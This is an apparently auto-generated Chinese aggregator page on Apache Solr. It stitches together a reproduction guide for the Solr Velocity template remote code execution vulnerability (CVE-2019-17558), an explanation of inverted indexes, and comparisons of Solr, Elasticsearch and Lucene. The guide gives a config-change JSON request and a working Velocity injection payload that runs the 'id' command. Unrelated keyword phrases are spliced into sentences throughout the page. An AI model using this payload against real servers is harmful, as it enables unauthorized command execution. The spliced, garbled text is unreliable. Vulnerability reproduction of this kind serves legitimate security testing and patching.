皮皮网

皮皮网

【自助广告系统 源码】【数学指标源码】【源码 吴恒】solr索引建立索引源码_solr创建索引

时间:2024-11-20 14:20:09 分类:焦点

1.Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
2.全文检索引擎Solr系列—–全文检索基本原理
3.Solr与Elasticsearch:开源搜索引擎到底如何选择?
4.Lucene、Elasticsearch、Solr区别

solr索引建立索引源码_solr创建索引

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

       Apache Solr 是索引索引索引一个开源的企业级搜索服务器,其底层使用 Java 实现。建立Solr 提供了强大的源码全文检索、高亮显示检索结果、创建动态集群、索引索引索引数据库接口和对多种格式文件(如 Word、建立自助广告系统 源码PDF)的源码处理等特性,高度可扩展,创建支持分布搜索和索引复制。索引索引索引

       在 Solr 的建立 5.0.0 至 8.3.1 版本中,存在输入验证错误的源码漏洞。攻击者可以利用此漏洞通过 Velocity 模板在目标系统上执行任意代码。创建

       影响版本范围为:Apache Solr 5.0.0 到 8.3.1。索引索引索引

       为了复现此漏洞,建立您可以按照以下步骤搭建环境:

       1. 使用 vulhub 搭建环境,源码首先通过命令行执行:

       git clone c github.com/vulhub/vulhub...

       确保在具备 Docker 环境的虚拟机中进行,随后进入目录并执行 Docker 镜像拉取命令:

       cd vulhub-master/solr/CVE--/

       docker-compose up -d

       完成 Docker 容器的启动后,通过浏览器访问您的数学指标源码 IP 地址加端口号 来访问服务。

       在复现漏洞的步骤中,您需要执行以下操作:

       1. 默认情况下,params.resource.loader.enabled 配置未打开,导致无法使用自定义模板。可以使用 API 获取所有核心(在 vulhub 中,核心通常为 demo):

       your-ip:/solr/admin...

       2. 通过修改配置启用 params.resource.loader.enabled,在访问/solr/demo/config 的 URL 时使用 Burp Suite 进行抓包,将请求方式改为 POST,并调整请求体为如下 JSON 格式:

       {

       "update-queryresponsewriter": {

       "startup": "lazy",

       "name": "velocity",

       "class": "solr.VelocityResponseWriter",

       "template.base.dir": "",

       "solr.resource.loader.enabled": "true",

       "params.resource.loader.enabled": "true"

       }

       }

       3. 通过 Velocity 模板执行任意命令。示例命令为:

       your-ip:/solr/demo/...($x=%%)+%set($rt=$x.class.forName(%java.lang.Runtime%))+%set($chr=$x.class.forName(%java.lang.Character%))+%set($str=$x.class.forName(%java.lang.String%))+%set($ex=$rt.getRuntime().exec(%id%))+$ex.waitFor()+%set($out=$ex.getInputStream())+%foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%end

       4. 使用 Python 脚本进行漏洞利用。确保使用 Python3 执行脚本,并从 GitHub 下载脚本进行测试(脚本来源需自行搜索)。

       为了防范此漏洞,建议升级 Apache Solr 到最新版本。

全文检索引擎Solr系列—–全文检索基本原理

       小时候,我们使用新华字典查字的场景就像全文检索。开始时,源码 吴恒你需要从第页开始逐字查找“坑爹”,这是顺序扫描法,适合少量数据。但若要快速找到“坑”字的页码,就需要借助索引,它记录了每个字的位置,如“坑”在第页,查找效率大大提高。

       索引的构建原理类似于新华字典的目录,它将每个字与对应的页码组织成有结构的数据,就像数据库中的表。全文检索的核心步骤包括索引创建和搜索。索引是反向的,记录关键字到文档的映射,使得搜索时无需遍历整个文档库,只需查找索引即可找到包含特定关键字的文档。

       以Solr/Lucene为例,逆转裁判源码索引包含字段串列表和文档编号链表。如搜索“lucene”,索引会直接告知包含此词的文档编号。索引的创建涉及原始文档的分词、语言处理,形成词(Term)和对应的文档链。例如,文档“Students should be allowed…”会被分词和处理,形成索引,以便搜索时能识别和匹配“drive”的各种变形形式。

       搜索过程则更为复杂,首先对查询进行分析和处理,然后在索引中搜索相关文档,根据文档与查询的相关性进行排序。评判相关性时,考虑词的权重,这是征途辅助源码通过空间向量模型算法实现的,其中文档的词权重形成向量,查询语句也是向量,通过计算它们在N维空间中的相似度来确定结果的排名。

Solr与Elasticsearch:开源搜索引擎到底如何选择?

       随着互联网行业的发展,搜索引擎已经成为众多内容平台的必备功能,尤其是在面对TB和PB级数据时,分布式全文检索成为关键。目前最热门的两款开源搜索引擎,Apache Solr和Elasticsearch,都基于Apache Lucene构建,功能相似,但具体选择应考虑部署、可伸缩性、查询语言等差异。下文将对Solr和Elasticsearch进行比较。

       Solr作为开源搜索服务器,建立在Lucene之上,拥有广泛的用户社区和成熟的产品,支持分布式全文搜索、近实时索引、高可用性等。其长期主导搜索引擎领域,提供人脸识别、分组、过滤、语言检测等功能,满足普通文本索引和搜索需求。

       Elasticsearch则年轻且更现代化,基于Lucene、ELK Stack构建,拥有分布式全文搜索、高可用性、强大的查询DSL、多租户、地理搜索等功能,易于安装配置,处理大索引和高查询率。在年左右,Elasticsearch凭借其年轻、现代性和实时搜索能力迅速获得关注。

       在安装与配置方面,Solr和Elasticsearch底层都是Java实现,需要配置Java环境。Elasticsearch配置需要1GB的HEAP内存,而Solr默认至少需要MB。Elasticsearch配置文件以YML格式编写,Solr则使用基于XML的配置文件。Elasticsearch易于安装和配置,但整体比Solr更重。分布式部署下,Elasticsearch配置更简单。

       索引和搜索方面,两者都基于lucene建索引,但Elasticsearch在本地DSL支持方面更优。Solr支持更多数据格式,而Elasticsearch仅支持json文件格式。两者均支持PB和TB级索引查询、分布式实现高可用,单节点支持文档索引查询效率高。近实时搜索能力是Lucene的基础,两者均实现,但Elasticsearch首先暴露NRT搜索,因而更受关注。查询速度方面,两者均支持分布式查询,对于高手而言,两者均可满足生产需求,但Solr在建索引时可能产生IO阻塞,查询性能下降,新手使用Elasticsearch可能更易上手。

       扩展和分布式方面,Elasticsearch为分布式而生,提供更好的扩展和集群管理支持。SolrCloud基于Solr和Zookeeper实现分布式搜索,支持进一步拆分现有分片,但不支持分片缩小。在分片或节点故障时,Elasticsearch可自行进行群集重新平衡,而SolrCloud的重新平衡较为复杂。

       社区和支持方面,Solr拥有广泛、成熟的社区和开发者,问题解决资源丰富。Elasticsearch虽不是完全开源,但社区活跃,由公司驱动,提供非开放高级功能。Solr社区更广泛,拥有更多文档和问题解决案例。

       总体而言,Solr在信息检索领域提供强大功能,适用于复杂查询和大规模数据处理。Elasticsearch易于投入生产和扩展,适合快速部署。选择时应考虑特定用例和需求。

       最后,欢迎关注公众号“药老算法(yaolaosuanfa)”,了解更多搜索、推荐等数据挖掘算法知识。

Lucene、Elasticsearch、Solr区别

        Lucene:一个开源的搜索库

Engine:屏蔽 Lucene 操作细节的抽象层

Http:对外提供 restful api,让不同开发语言的应用都可以接入

        Elasticsearch是用 Java 开发的,但它却不是只支持Java语言,因为它支持RESTful方式调用,那理论上它是支持所有开发语言的

        理解∶因为索引可以去掉重复的词,汉语常用的字和词大概等于 字典+词典;常用的英文在牛津词典也有收录;如果用计算机的速度查询 字典+词典+牛津词典这些内容是非常快的;但是用这些字典、词典组成的文章却是千千万万不计其数;

        倒排索引的大小最多也就是 字典+词典。所以通过查询索引,再通过索引和文档的关联关系找到文档速度比较快。

        顺序扫描法则是直接去逐个查询那些不计其数的文章就算是计算的速度也会很慢。

        主分片数

        即 blog 索引的数据,会被分散到 3 个分片里面,起到控制每个分片里文档数量个数的作用,提供查询和搜索效率,可以理解为 Mysql 里的分表。

副本分片

        副本分片只是一个主分片的拷贝,作为硬件故障时保护数据不丢失的冗余备份,并为搜索和返回文档等读操作提供服务。

        因为对于单节点的架构来说,进行冗余备份就毫无意义的,只会浪费内存和磁盘。

        1、Solr :年诞生。ES:年诞生。ES 更新【功能越强大】

        2、Solr有一个更大、更成熟的用户、开发和贡献者社区

        3、当实时建立索引的时候,Solr会产生IO阻塞,而ES则不会,实时建立索引时,ES性能要高于Solr 。

        在不断动态添加数据的时候,solr的检索效率会变的低下,而es则没有什么变化。

        4、Solr利用zookeeper进行分布式管理,而es自身带有分布式系统管理功能。Solr一般都要部署到web服务器上,比如tomcat。启动tomcat的时候需要配置tomcat与solr的关联。【Solr 的本质 是一个动态web项目】

        5、Solr支持更多的格式数据[xml,json,csv等],而es仅支持json文件格式。

        6、Solr是传统搜索应用的有力解决方案,但是es更适用于新兴的实时搜索应用。单纯的对已有数据进行检索的时候,solr效率更好,高于es。

        7、Solr官网提供的功能更多,而es本身更注重于核心功能,高级功能多由第三方插件。